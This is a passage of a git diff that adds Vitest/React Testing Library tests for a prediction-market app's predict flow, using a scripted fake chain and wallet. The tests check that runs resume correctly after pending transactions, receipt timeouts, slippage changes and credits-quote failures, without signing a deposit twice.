name: "Resume" })); + await waitFor(() => expect(resumed.onSuccess).toHaveBeenCalledOnce()); + expect(parentBase(sent[before]!)).toBe(swaps.floor); + const batch = decodeFunctionData({ abi: tradeExecutorAbi, data: sent[before]!.data! }); + if (batch.functionName !== "batchValueExecute") throw new Error("Expected a credits batch"); + const spend = batch.args[0].find((call) => call.to.toLowerCase() === addresses.manager.toLowerCase())!; + const execute = decodeFunctionData({ abi: creditsManagerAbi, data: spend.data }); + if (execute.functionName !== "execute") throw new Error("Expected a credits spend"); + expect(execute.args[2]).toBe(100n * WAD); + expect(walletCredits).toBe(0n); + expect(sent.slice(before).filter((tx) => tx.to.toLowerCase() === addresses.credits.toLowerCase())).toHaveLength(0); + }); +}); + +it("shows reused trade-wallet collateral and the pending split before Resume", async () => { + const { sent, make } = setup({ credits: 0n, collateralHeld: 100n * WAD, revertBatch: 1 }); + minted = 100n * WAD; + const first = mount(); + await begin(); + first.unmount(); + driver.dispose(); + driver = make(); + const resumed = mount(); + await waitFor(() => expect(driver.getProgress().stage).toBe("review")); + expect(driver.getProgress().recovered).toMatchObject({ + deposit: 0n, + collateralIn: 100n * WAD, + collateralBefore: 100n * WAD, + }); + expect(screen.getByRole("spinbutton")).toHaveValue("0"); + expect(screen.getByTestId("trade-mint")).toHaveTextContent("100 sDAI"); + expect(screen.getByTestId("recovery-funding")).toHaveTextContent("Trade-wallet collateral100 sDAI"); + expect(screen.getByTestId("recovery-funding")).toHaveTextContent("New deposit0 sDAI"); + const before = sent.length; + await userEvent.click(screen.getByRole("button", { name: "Resume" })); + await waitFor(() => expect(resumed.onSuccess).toHaveBeenCalledOnce()); + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data: sent[before]!.data! }); + expect(decoded.functionName).toBe("batchExecute"); + if (decoded.functionName !== "batchExecute") throw new Error("Expected a collateral batch"); + const splits = decoded.args[0] + .filter((call) => call.to.toLowerCase() === addresses.router.toLowerCase()) + .map((call) => decodeFunctionData({ abi: gnosisRouterAbi, data: call.data })) + .filter((call) => call.functionName === "splitPosition" && call.args[1].toLowerCase() === addresses.parentMarket); + expect(splits).toHaveLength(1); + expect(splits[0]!.args[2]).toBe(100n * WAD); +}); + +it("waits for a recovered credits quote and shows its pending mint after a cold-cache read", async () => { + const { reader, creditsQuoter, make } = setup({ alreadyHeld: true, revertBatch: 1 }); + swaps = await previewCreditsSwap(ctx(), nominal, 20, { reader, creditsQuoter }); + minted = swaps.minted; + const first = mount(); + await begin(); + first.unmount(); + driver.dispose(); + driver = make(); + quoteReady = false; + const resumed = mount(); + await waitFor(() => expect(driver.getProgress().stage).toBe("review")); + expect(screen.getByRole("button", { name: "Resume" })).toBeDisabled(); + quoteReady = true; + resumed.rerender( + , + ); + expect(screen.getByTestId("credits-swap")).toHaveTextContent("100 credits"); + expect(screen.getByTestId("trade-mint")).toHaveTextContent(shownAmount(minted, 18)); + expect(screen.getByRole("button", { name: "Resume" })).toBeEnabled(); +}); + +it.each([false, true])( + "holds a resumed credits spend to the shown mint (revert found on recovery: %s)", + async (lostReceipt) => { + const { sent, reader, creditsQuoter, make } = setup({ alreadyHeld: true, revertBatch: 1, lostReceipt }); + swaps = await previewCreditsSwap(ctx(), nominal, 20, { reader, creditsQuoter }); + minted = swaps.minted; + const first = mount(); + if (lostReceipt) { + await userEvent.type(screen.getByRole("spinbutton"), (nominal / WAD).toString()); + await userEvent.click(screen.getByRole("button", { name: "Predict" })); + await waitFor(() => expect(driver.getProgress().stage).toBe("confirming")); + expect(driver.getProgress().sentHash).toBeDefined(); + } else await begin(); + first.unmount(); + driver.dispose(); + driver = make(); + const resumed = mount(); + await waitFor(() => expect(driver.getProgress().stage).toBe(lostReceipt ? "halted" : "review")); + expect(screen.getByTestId("trade-mint")).toHaveTextContent(shownAmount(minted, 18)); + const before = sent.length; + lossBps = 1_500n; + await userEvent.click(screen.getByRole("button", { name: "Resume" })); + await waitFor(() => expect(driver.getProgress().stage).toBe("moved")); + expect(sent).toHaveLength(before); + expect(screen.getByRole("button", { name: "Confirm new prices" })).toBeEnabled(); + await userEvent.click(screen.getByRole("button", { name: "Confirm new prices" })); + await waitFor(() => expect(resumed.onSuccess).toHaveBeenCalledOnce()); + expect(parentBase(sent[before]!)).toBeLessThan(swaps.floor); + }, +); + +it.each([false, true])( + "resumes at the displayed slippage after global settings change (lost receipt: %s)", + async (lostReceipt) => { + const { sent, reader, creditsQuoter, make } = setup({ alreadyHeld: true, revertBatch: 1, lostReceipt }); + swaps = await previewCreditsSwap(ctx(), nominal, 20, { reader, creditsQuoter }); + minted = swaps.minted; + const first = mount(); + if (lostReceipt) { + await userEvent.type(screen.getByRole("spinbutton"), (nominal / WAD).toString()); + await userEvent.click(screen.getByRole("button", { name: "Predict" })); + await waitFor(() => expect(driver.getProgress().stage).toBe("confirming")); + expect(driver.getProgress().sentHash).toBeDefined(); + } else await begin(); + first.unmount(); + driver.dispose(); + useSlippageStore.setState({ settings: { tradeBps: 1_000, creditsBps: null } }); + driver = make(); + const resumed = mount(); + await waitFor(() => expect(driver.getProgress().stage).toBe(lostReceipt ? "halted" : "review")); + expect(driver.getProgress().recovered?.slippage).toEqual({ tradeBps: 100, creditsBps: 20 }); + expect(screen.getAllByTestId("slippage-row")[0]).toHaveTextContent("Max slippage1%"); + const before = sent.length; + await userEvent.click(screen.getByRole("button", { name: "Resume" })); + await waitFor(() => expect(resumed.onSuccess).toHaveBeenCalledOnce()); + const batch = decodeFunctionData({ abi: tradeExecutorAbi, data: sent[before]!.data! }); + if (batch.functionName !== "batchValueExecute") throw new Error("Expected a credits batch"); + const swap = batch.args[0].find((call) => call.to.toLowerCase() === addresses.swapRouter.toLowerCase())!; + const [params] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: swap.data }).args; + expect(params.amountOutMinimum).toBe(1_980_000_000_000_000_000n); + expect(parentBase(sent[before]!)).toBe(swaps.floor); + }, +); + +it("gives recovery quote failures guidance that does not require a hidden checkbox", async () => { + const { reader, creditsQuoter, make } = setup({ alreadyHeld: true, revertBatch: 1 }); + swaps = await previewCreditsSwap(ctx(), nominal, 20, { reader, creditsQuoter }); + minted = swaps.minted; + const first = mount(); + await begin(); + first.unmount(); + driver.dispose(); + driver = make(); + quoteReady = false; + quoteFailed = true; + mount(); + await waitFor(() => expect(driver.getProgress().stage).toBe("review")); + expect(screen.getByRole("status")).toHaveTextContent("Could not get a price for your credits. Try resuming later."); + expect(screen.queryByRole("checkbox")).toBeNull(); + expect(screen.getByRole("button", { name: "Resume" })).toBeDisabled(); +}); + +it("offers the editable credits checkbox when a new prediction's quote fails", async () => { + setup(); + quoteReady = false; + quoteFailed = true; + mount(); + await userEvent.type(screen.getByRole("spinbutton"), (nominal / WAD).toString()); + expect(screen.getByRole("status")).toHaveTextContent( + "Credits can't be spent now. Untick them to use your own funds.", + ); + expect(screen.getByRole("checkbox")).toBeEnabled(); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.pendingTransaction.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.pendingTransaction.test.tsx new file mode 100644 index 00000000..8be9a6a7 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.pendingTransaction.test.tsx @@ -0,0 +1,775 @@ +import type { ComponentProps, ReactNode } from "react"; + +import { + createFlowRunStore, + createMemoryStorage, + type FlowRunStore, + type FlowTx, + type TxGateway, +} from "@foresight/tx-orchestrator"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { act, fireEvent, render, screen } from "@testing-library/react"; +import { WaitForTransactionReceiptTimeoutError, type Address, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { useAccount } from "wagmi"; + +import type { PredictDialog } from "@/features/predict/components/PredictDialog"; +import { addresses, ctx, fakeReader, poolQuoter, snapshot, WAD } from "@/features/predict/flow/__tests__/support/fakes"; +import { STEP_ID } from "@/features/predict/flow/plan"; +import type { PredictCtx, PredictReader, PredictSnapshot, SentTx } from "@/features/predict/flow/types"; +import { createPredictRun, SEND_HOLD_MS } from "@/features/predict/run/driver"; +import type { PredictDriver } from "@/features/predict/run/types"; +import type { SelectedEstimate } from "@/features/predict/types"; +import { SIGN_AGAIN_ASK } from "@/features/predict/utils/predictSteps"; +import type { SessionDetail } from "@/features/sessions/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { GATEWAY } from "@/testing/fixtures"; + +import { PredictRunner } from "../PredictRunner"; + +const UNSEEN_COPY = "The network can't find your last transaction yet. Check again, or discard it."; + +const OWNER = "0x9999999999999999999999999999999999999999" as Address; +const EXECUTOR = "0x8888888888888888888888888888888888888888" as Address; + +/** The run the mocked hook hands the runner; set per mount. */ +const harness = vi.hoisted(() => ({ makeDriver: null as null | (() => PredictDriver) })); + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://cdn.example.link/ipfs" })); +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); + +vi.mock("wagmi", async (importOriginal) => ({ + ...(await importOriginal()), + useAccount: vi.fn(), +})); + +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + gnosisRouterAddress: () => "0x7777777777777777777777777777777777777777", + tradeExecutorFactoryAddress: () => "0x6666666666666666666666666666666666666666", +})); + +// The real driver over a scripted chain, held and disposed the way the real hook does. +vi.mock("@/features/predict/hooks/usePredictRun", async () => { + const React = await import("react"); + return { + usePredictRun: () => { + const driver = React.useMemo(() => harness.makeDriver!(), []); + React.useEffect(() => () => driver.dispose(), [driver]); + const progress = React.useSyncExternalStore(driver.subscribe, driver.getProgress, driver.getProgress); + return { driver, progress }; + }, + }; +}); + +vi.mock("@/features/trade-executor/api/getExecutor", async (importOriginal) => ({ + ...(await importOriginal()), + useExecutor: () => ({ data: { predicted: EXECUTOR, deployed: true } }), +})); + +vi.mock("../usePredictFunding", () => ({ + usePredictFunding: () => ({ funding: null, credits: { state: "none" }, canPayNative: false, isPending: false }), +})); + +vi.mock("../useHasPredicted", () => ({ useHasPredicted: () => false })); +// Details as the scripted chain's pools give it for the stored run's option, which Predict holds the run to +vi.mock("../usePricePreview", async (importOriginal) => { + const { chainState, option, WAD: ONE } = await import("@/features/predict/flow/__tests__/support/fakes"); + const { previewTrades } = await import("@/features/predict/utils/plan"); + const { SLIPPAGE_BPS } = await import("@/features/predict/oracle/tolerances"); + const state = chainState(); + const shown = option(1); + const plan = previewTrades( + { pools: state.pools, targetPriceWad: shown.targetPriceWad, held: state.held, splitAmount: ONE * 5n }, + SLIPPAGE_BPS, + )!; + return { + ...(await importOriginal()), + usePricePreview: () => ({ + moves: {}, + plans: { [shown.childMarket.toLowerCase()]: plan }, + held: {}, + ready: true, + failed: false, + }), + }; +}); + +type DialogProps = ComponentProps; + +// Exposes what the popup would show: its failure line and the three timeline rows. +vi.mock("@/features/predict/components/PredictDialog", () => ({ + PredictDialog: (props: DialogProps) => ( +
    +

    {String(props.isRunning)}

    +

    {String(props.canRetry)}

    +

    {String(Boolean(props.canClose))}

    +

    {props.steps.failure ?? ""}

    +

    {String(Boolean(props.asksToSignAgain))}

    +
      + {props.steps.rows.map((row) => ( +
    • {`${row.key}|${row.view}|${row.title}|${row.subtitle}`}
    • + ))} +
    + + + {props.onDiscard ? : null} +
    + ), +})); + +const FLOW_ID = "predict-pending-test"; +const START_BALANCE = WAD * 2n; +const DEPOSIT = WAD * 3n; +const SNAP = snapshot({ deposit: DEPOSIT, collateralIn: WAD * 5n, collateralBefore: START_BALANCE }); + +/** What happens to the nth transaction the wallet signs. Default: it mines. */ +type Script = "mine" | "revert" | "hold" | "hold-and-network-down"; + +/** + * A wallet, a chain and an RPC. While the network is down every read and every receipt + * wait fails, but transactions already broadcast stay out there and can still mine. + */ +function fakeChain(scripts: Script[] = []) { + const signRequests: FlowTx[] = []; + const mined = new Map(); + const known = new Set(); + const deposits = new Set(); + const waitedOn: Hash[] = []; + const failed = { waits: 0, reads: 0 }; + let networkDown = false; + let collateral = START_BALANCE; + + const receipt = (hash: Hash, status: "success" | "reverted") => + ({ transactionHash: hash, status, blockNumber: 19_000_000n }) as TransactionReceipt; + + function mine(hash: Hash, status: "success" | "reverted" = "success") { + mined.set(hash, status); + if (status === "success" && deposits.has(hash)) collateral += DEPOSIT; + } + + function down(): void { + failed.reads++; + throw new Error("RPC unavailable"); + } + + const gateway: TxGateway = { + sendTransaction: (tx) => { + const index = signRequests.length; + signRequests.push(tx); + const hash = `0x${(0xd0 + index).toString(16).padStart(64, "0")}` as Hash; + known.add(hash); + if (isDeposit(tx)) deposits.add(hash); + const script = scripts[index] ?? "mine"; + if (script === "mine") mine(hash); + if (script === "revert") mine(hash, "reverted"); + if (script === "hold-and-network-down") networkDown = true; + return Promise.resolve(hash); + }, + waitForReceipt: async ({ hash, signal }) => { + waitedOn.push(hash); + for (;;) { + if (signal?.aborted) throw new DOMException("Aborted", "AbortError"); + if (networkDown) { + failed.waits++; + throw new WaitForTransactionReceiptTimeoutError({ hash }); + } + const status = mined.get(hash); + if (status) return receipt(hash, status); + await new Promise((resolve) => setTimeout(resolve, 5)); + } + }, + getReceipt: async (hash) => { + if (networkDown) down(); + const status = mined.get(hash); + return status ? receipt(hash, status) : null; + }, + isKnown: async (hash) => { + if (networkDown) down(); + return known.has(hash); + }, + }; + + const reader = { + ...fakeReader({ deployed: true }), + collateralBalance: async () => { + if (networkDown) down(); + return collateral; + }, + }; + + return { + gateway, + reader, + signRequests, + waitedOn, + failed, + deposits: () => signRequests.filter(isDeposit), + sent: (index: number) => `0x${(0xd0 + index).toString(16).padStart(64, "0")}` as Hash, + /** A hash broadcast before this test's wallet existed, still in the mempool. */ + seedPending(hash: Hash, deposit: boolean) { + known.add(hash); + if (deposit) deposits.add(hash); + }, + mine, + setNetworkDown(value: boolean) { + networkDown = value; + }, + }; +} + +type Chain = ReturnType; + +/** A collateral transfer or an xDAI payment to the adapter: money into the trade wallet. */ +const isDeposit = (tx: FlowTx) => tx.to === addresses.collateral || tx.to === addresses.sDaiAdapter; + +const accountMock = vi.mocked(useAccount); + +const session = (): SessionDetail => + toSessionDetail({ ...sessionDetailColumns, children: [sessionChildRow()] }, GATEWAY); + +const selectedOn = (detail: SessionDetail): SelectedEstimate[] => [ + { scale: detail.options[0]!, value: 312, marketEstimate: 250, direction: "higher" }, +]; + +/** Opens the popup on a fresh driver over `chain` and `store`, as pressing the predict button does. */ +function open( + chain: Chain, + store: FlowRunStore, + reader: PredictReader = chain.reader, + unansweredSend?: { waitMs: number; pollMs: number }, + now?: () => number, +) { + harness.makeDriver = () => + createPredictRun({ + gateway: chain.gateway, + reader, + quoter: poolQuoter(SNAP.options), + store, + flowId: FLOW_ID, + ctx: (): PredictCtx => ctx(), + snapshot: (): PredictSnapshot => SNAP, + unansweredSend, + now, + }); + + const detail = session(); + const onClose = vi.fn(); + const onSuccess = vi.fn(); + const wrapper = ({ children }: { children: ReactNode }) => ( + {children} + ); + const view = render( + , + { wrapper }, + ); + + return { + onClose, + onSuccess, + predict: () => fireEvent.click(screen.getByText("predict")), + /** Close pressed, then the page unmounts the popup. */ + close: () => { + fireEvent.click(screen.getByText("close")); + view.unmount(); + }, + shown: () => [ + screen.getByTestId("failure").textContent, + ...screen.getAllByTestId("row").map((row) => row.textContent), + ], + }; +} + +const running = () => screen.getByTestId("running").textContent === "true"; + +const SLOW = { timeout: 10_000 }; + +/** The watcher retries a timed-out receipt wait with back-off before the run stops. */ +async function untilReceiptWaitsGiveUp(chain: Chain) { + await vi.waitFor(() => { + expect(chain.failed.waits).toBeGreaterThan(0); + expect(running()).toBe(false); + }, SLOW); + await act(async () => {}); +} + +async function untilRecoveryReadFails(chain: Chain) { + await vi.waitFor(() => { + expect(chain.failed.reads).toBeGreaterThan(0); + expect(running()).toBe(false); + }, SLOW); + await act(async () => {}); +} + +const stepOutcome = (store: FlowRunStore, stepId: string) => + store.load(FLOW_ID)?.steps.find((step) => step.stepId === stepId)?.outcome; + +/** A run left by an earlier popup: its deposit broadcast and not yet mined. */ +function seedSubmittedDeposit(chain: Chain, store: FlowRunStore): Hash { + const hash = `0x${"1".repeat(64)}` as Hash; + chain.seedPending(hash, true); + store.save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + status: "paused", + reason: "error", + ctx: ctx(), + snapshot: { ...SNAP, collateralAtStart: START_BALANCE }, + steps: [ + { stepId: STEP_ID.createExecutor, label: "Set up your trade wallet", outcome: { status: "skipped" } }, + { stepId: STEP_ID.deposit, label: "Add money to your trade wallet", outcome: { status: "submitted", hash } }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, + ], + }); + return hash; +} + +/** Reopens, resumes once the stored run is up for review, then waits until it reuses `hash` or signs a fresh deposit. */ +async function reopenAndPredict(chain: Chain, store: FlowRunStore, hash: Hash, depositsBefore: number) { + const waitedBefore = chain.waitedOn.length; + const popup = open(chain, store); + await vi.waitFor(() => expect(running()).toBe(false)); + popup.predict(); + await vi.waitFor(() => { + const reused = chain.waitedOn.slice(waitedBefore).includes(hash) || popup.onSuccess.mock.calls.length > 0; + const resigned = chain.deposits().length > depositsBefore; + expect(reused || resigned).toBe(true); + }, SLOW); + return popup; +} + +let store: FlowRunStore; + +beforeEach(() => { + vi.clearAllMocks(); + accountMock.mockReturnValue({ address: OWNER, chainId: DEFAULT_CHAIN_ID } as ReturnType); + store = createFlowRunStore({ storage: createMemoryStorage() }); +}); + +afterEach(() => { + harness.makeDriver = null; +}); + +describe("PredictRunner, closing a run whose transaction may still be pending", () => { + it.each([ + ["the deposit", ["hold-and-network-down"] as Script[], STEP_ID.deposit, 0], + ["a prediction batch", ["mine", "hold-and-network-down"] as Script[], STEP_ID.predict(1), 1], + ])( + "keeps the hash and the snapshot when %s timed out waiting for its receipt", + async (_, scripts, stepId, sentIndex) => { + const chain = fakeChain(scripts); + const popup = open(chain, store); + popup.predict(); + await untilReceiptWaitsGiveUp(chain); + + const hash = chain.sent(sentIndex); + expect(stepOutcome(store, stepId)).toEqual({ status: "submitted", hash }); + const before = store.load(FLOW_ID)!.snapshot; + + popup.close(); + + expect(popup.onClose).toHaveBeenCalledTimes(1); + expect(stepOutcome(store, stepId)).toEqual({ status: "submitted", hash }); + expect(store.load(FLOW_ID)?.snapshot).toEqual(before); + }, + 15_000, + ); + + it("keeps the hash and the snapshot when the recovery read failed", async () => { + const chain = fakeChain(); + const hash = seedSubmittedDeposit(chain, store); + const before = store.load(FLOW_ID)!.snapshot; + chain.setNetworkDown(true); + + const popup = open(chain, store); + popup.predict(); + await untilRecoveryReadFails(chain); + popup.close(); + + expect(stepOutcome(store, STEP_ID.deposit)).toEqual({ status: "submitted", hash }); + expect(store.load(FLOW_ID)?.snapshot).toEqual(before); + }); +}); + +describe("PredictRunner while a sent transaction confirms", () => { + it("can be closed once the hash is stored, and leaves the run for the next popup to wait on", async () => { + const chain = fakeChain(["hold"]); + const popup = open(chain, store); + popup.predict(); + await vi.waitFor(() => expect(chain.waitedOn).toHaveLength(1)); + await vi.waitFor(() => expect(screen.getByTestId("can-close").textContent).toBe("true")); + + popup.close(); + + expect(popup.onClose).toHaveBeenCalledOnce(); + expect(stepOutcome(store, STEP_ID.deposit)).toEqual({ status: "submitted", hash: chain.sent(0) }); + }); +}); + +describe("PredictRunner, a new run stopped by a transaction of the wallet's still pending", () => { + it("retries on Predict and keeps the run on Close, since the pending one may be its own deposit", async () => { + const chain = fakeChain(); + const reader = { ...chain.reader, hasPending: () => Promise.resolve(true) }; + const popup = open(chain, store, reader); + popup.predict(); + await vi.waitFor(() => expect(screen.getByTestId("failure").textContent).not.toBe("")); + expect(chain.deposits()).toHaveLength(0); + expect(screen.getByTestId("can-retry").textContent).toBe("true"); + + popup.close(); + expect(store.load(FLOW_ID)).not.toBeNull(); + }); +}); + +describe("PredictRunner, reopening after closing on a pending transaction", () => { + it("waits on the deposit already broadcast instead of asking for it again", async () => { + const chain = fakeChain(["hold-and-network-down"]); + const first = open(chain, store); + first.predict(); + await untilReceiptWaitsGiveUp(chain); + const hash = chain.sent(0); + first.close(); + + chain.setNetworkDown(false); + const second = await reopenAndPredict(chain, store, hash, 1); + + expect(chain.deposits()).toHaveLength(1); + + chain.mine(hash); + await vi.waitFor(() => expect(second.onSuccess).toHaveBeenCalled(), SLOW); + expect(chain.deposits()).toHaveLength(1); + expect(chain.signRequests.length).toBeGreaterThan(1); + }, 20_000); + + it("waits on the deposit already broadcast after a failed recovery read", async () => { + const chain = fakeChain(); + const hash = seedSubmittedDeposit(chain, store); + chain.setNetworkDown(true); + const first = open(chain, store); + first.predict(); + await untilRecoveryReadFails(chain); + first.close(); + + chain.setNetworkDown(false); + const second = await reopenAndPredict(chain, store, hash, 0); + + expect(chain.deposits()).toEqual([]); + + chain.mine(hash); + await vi.waitFor(() => expect(second.onSuccess).toHaveBeenCalled(), SLOW); + expect(chain.deposits()).toEqual([]); + }, 20_000); +}); + +describe("PredictRunner, a transaction that confirms while the popup is closed", () => { + it("carries on to the prediction after a receipt timeout, without a second deposit", async () => { + const chain = fakeChain(["hold-and-network-down"]); + const first = open(chain, store); + first.predict(); + await untilReceiptWaitsGiveUp(chain); + const hash = chain.sent(0); + first.close(); + + chain.setNetworkDown(false); + chain.mine(hash); + + const second = await reopenAndPredict(chain, store, hash, 1); + await vi.waitFor(() => expect(second.onSuccess).toHaveBeenCalled(), SLOW); + + expect(chain.deposits()).toHaveLength(1); + expect(chain.signRequests.filter((tx) => tx.to === addresses.executor)).toHaveLength(1); + expect(store.load(FLOW_ID)).toBeNull(); + }, 20_000); + + it("carries on to the prediction after a failed recovery read, without a second deposit", async () => { + const chain = fakeChain(); + const hash = seedSubmittedDeposit(chain, store); + chain.setNetworkDown(true); + const first = open(chain, store); + first.predict(); + await untilRecoveryReadFails(chain); + first.close(); + + chain.setNetworkDown(false); + chain.mine(hash); + + const second = await reopenAndPredict(chain, store, hash, 0); + await vi.waitFor(() => expect(second.onSuccess).toHaveBeenCalled(), SLOW); + + expect(chain.deposits()).toEqual([]); + expect(chain.signRequests.filter((tx) => tx.to === addresses.executor)).toHaveLength(1); + expect(store.load(FLOW_ID)).toBeNull(); + }, 20_000); +}); + +describe("PredictRunner, what the popup says about an outcome it does not know", () => { + /** The same failure before anything was signed: nothing is out there to wait for. */ + async function shownWithNothingSent(error: () => Error) { + const chain = fakeChain(); + const reader = { ...chain.reader, collateralBalance: () => Promise.reject(error()) }; + const popup = open(chain, store, reader); + popup.predict(); + await vi.waitFor(() => expect(screen.getByTestId("failure")).not.toBeEmptyDOMElement(), SLOW); + const shown = popup.shown(); + popup.close(); + store = createFlowRunStore({ storage: createMemoryStorage() }); + return shown; + } + + async function shownForRevertedDeposit() { + const chain = fakeChain(["revert"]); + const popup = open(chain, store); + popup.predict(); + await vi.waitFor(() => expect(screen.getByTestId("failure")).not.toBeEmptyDOMElement(), SLOW); + const shown = popup.shown(); + popup.close(); + store = createFlowRunStore({ storage: createMemoryStorage() }); + return shown; + } + + it("reads differently for a deposit whose receipt timed out than for a revert or nothing sent", async () => { + const reverted = await shownForRevertedDeposit(); + const nothingSent = await shownWithNothingSent( + () => new WaitForTransactionReceiptTimeoutError({ hash: `0x${"2".repeat(64)}` }), + ); + + const chain = fakeChain(["hold-and-network-down"]); + const popup = open(chain, store); + popup.predict(); + await untilReceiptWaitsGiveUp(chain); + const pending = popup.shown(); + + expect(pending).not.toEqual(reverted); + expect(pending).not.toEqual(nothingSent); + popup.close(); + }, 20_000); + + it("reads differently for a deposit whose recovery read failed than for a revert or nothing sent", async () => { + const reverted = await shownForRevertedDeposit(); + const nothingSent = await shownWithNothingSent(() => new Error("RPC unavailable")); + + const chain = fakeChain(); + seedSubmittedDeposit(chain, store); + chain.setNetworkDown(true); + const popup = open(chain, store); + popup.predict(); + await untilRecoveryReadFails(chain); + const pending = popup.shown(); + + expect(pending).not.toEqual(reverted); + expect(pending).not.toEqual(nothingSent); + popup.close(); + }, 20_000); +}); + +describe("PredictRunner, clearing a run that finished", () => { + it("clears the stored run once every step has confirmed", async () => { + const chain = fakeChain(); + const popup = open(chain, store); + popup.predict(); + await vi.waitFor(() => expect(popup.onSuccess).toHaveBeenCalled(), SLOW); + + expect(store.load(FLOW_ID)).toBeNull(); + popup.close(); + }); + + it("lets the next prediction start fresh after a finished run was cleared", async () => { + const chain = fakeChain(); + const first = open(chain, store); + first.predict(); + await vi.waitFor(() => expect(first.onSuccess).toHaveBeenCalled(), SLOW); + first.close(); + + const second = open(chain, store); + second.predict(); + await vi.waitFor(() => expect(second.onSuccess).toHaveBeenCalled(), SLOW); + + expect(chain.deposits()).toHaveLength(2); + second.close(); + }); +}); + +describe("PredictRunner, a deposit whose send errored after the wallet broadcast it", () => { + it("offers Try the rest, keeps the run on Close, and the next popup signs the deposit once", async () => { + const chain = fakeChain(["hold"]); + const send = chain.gateway.sendTransaction; + chain.gateway.sendTransaction = async (tx, opts) => { + await send(tx, opts); + throw new Error("Transaction failed", { + cause: Object.assign(new Error("Internal JSON-RPC error."), { code: -32603 }), + }); + }; + // the nonce a send takes is its index; the wallet's node holds it until it mines + const reader: PredictReader = { + ...chain.reader, + nextNonce: () => Promise.resolve(chain.signRequests.length), + sentWithNonce: async ({ nonce }): Promise => { + const tx = chain.signRequests[nonce]; + if (!tx) return { status: "none" }; + const mined = await chain.gateway.getReceipt(chain.sent(nonce)); + if (!mined) return { status: "pending" }; + return { + status: "mined", + hash: mined.transactionHash, + to: tx.to, + value: tx.value ?? 0n, + input: tx.data ?? "0x", + success: true, + }; + }, + }; + const fast = { waitMs: 20, pollMs: 5 }; + + const first = open(chain, store, reader, fast); + await vi.waitFor(() => expect(running()).toBe(false)); + first.predict(); + await vi.waitFor(() => expect(screen.getByTestId("can-retry").textContent).toBe("true")); + first.close(); + expect(store.load(FLOW_ID)).not.toBeNull(); + + chain.mine(chain.sent(0)); + chain.gateway.sendTransaction = send; + const next = open(chain, store, reader, fast); + await vi.waitFor(() => expect(running()).toBe(false)); + next.predict(); + await vi.waitFor(() => expect(next.onSuccess).toHaveBeenCalled(), SLOW); + + expect(chain.deposits()).toHaveLength(1); + }); + + it("retries a trade wallet setup whose send errored after broadcast, once it lands, with one setup signed", async () => { + const chain = fakeChain(["hold"]); + const send = chain.gateway.sendTransaction; + chain.gateway.sendTransaction = async (tx, opts) => { + await send(tx, opts); + throw new Error("Transaction failed", { + cause: Object.assign(new Error("Internal JSON-RPC error."), { code: -32603 }), + }); + }; + const reader: PredictReader = { + ...chain.reader, + isExecutorDeployed: () => Promise.resolve(false), + nextNonce: () => Promise.resolve(chain.signRequests.length), + sentWithNonce: async ({ nonce }): Promise => { + const tx = chain.signRequests[nonce]; + if (!tx) return { status: "none" }; + const mined = await chain.gateway.getReceipt(chain.sent(nonce)); + if (!mined) return { status: "pending" }; + return { + status: "mined", + hash: mined.transactionHash, + to: tx.to, + value: tx.value ?? 0n, + input: tx.data ?? "0x", + success: true, + }; + }, + }; + const fast = { waitMs: 20, pollMs: 5 }; + const isSetup = (tx: FlowTx) => tx.to === addresses.factory; + + const popup = open(chain, store, reader, fast); + await vi.waitFor(() => expect(running()).toBe(false)); + popup.predict(); + await vi.waitFor(() => expect(chain.signRequests.filter(isSetup)).toHaveLength(1)); + await vi.waitFor(() => expect(screen.getByTestId("can-retry").textContent).toBe("true")); + + chain.mine(chain.sent(0)); + chain.gateway.sendTransaction = send; + popup.predict(); + await vi.waitFor(() => expect(popup.onSuccess).toHaveBeenCalled(), SLOW); + + expect(chain.signRequests.filter(isSetup)).toHaveLength(1); + }); +}); + +describe("PredictRunner, a deposit whose send errored and whose nonce stayed unused", () => { + it("holds it for ten minutes, then asks before signing again and signs on Sign again", async () => { + const chain = fakeChain(); + const send = chain.gateway.sendTransaction; + let refused = false; + chain.gateway.sendTransaction = (tx, opts) => { + if (refused || !isDeposit(tx)) return send(tx, opts); + refused = true; + return Promise.reject( + new Error("Transaction failed", { + cause: Object.assign(new Error("Internal JSON-RPC error."), { code: -32603 }), + }), + ); + }; + const clock = { at: 1_700_000_000_000 }; + + const popup = open(chain, store, chain.reader, { waitMs: 20, pollMs: 5 }, () => clock.at); + await vi.waitFor(() => expect(running()).toBe(false)); + popup.predict(); + await vi.waitFor(() => expect(screen.getByTestId("can-retry").textContent).toBe("true")); + expect(screen.getByTestId("asks-to-sign-again").textContent).toBe("false"); + + clock.at += SEND_HOLD_MS; + popup.predict(); + await vi.waitFor(() => expect(screen.getByTestId("asks-to-sign-again").textContent).toBe("true")); + expect(screen.getByTestId("failure").textContent).toBe(SIGN_AGAIN_ASK); + expect(chain.deposits()).toHaveLength(0); + + popup.predict(); + await vi.waitFor(() => expect(popup.onSuccess).toHaveBeenCalled(), SLOW); + expect(chain.deposits()).toHaveLength(1); + }); +}); + +describe("PredictRunner, a stored deposit hash no node finds", () => { + it("keeps it with Check again and Discard while its nonce reads unused, and Discard retains its evidence", async () => { + const chain = fakeChain(); + const hash = `0x${"2".repeat(64)}` as Hash; + const clock = { at: 1_700_000_000_000 }; + store.save({ + flowId: FLOW_ID, + adapterId: "predict-flow", + status: "paused", + reason: "error", + ctx: ctx(), + snapshot: { + ...SNAP, + collateralAtStart: START_BALANCE, + sent: { + [STEP_ID.deposit]: { + owner: OWNER, + nonce: 0, + fromBlock: 1n, + tx: { to: addresses.collateral, data: "0x" }, + heldAt: 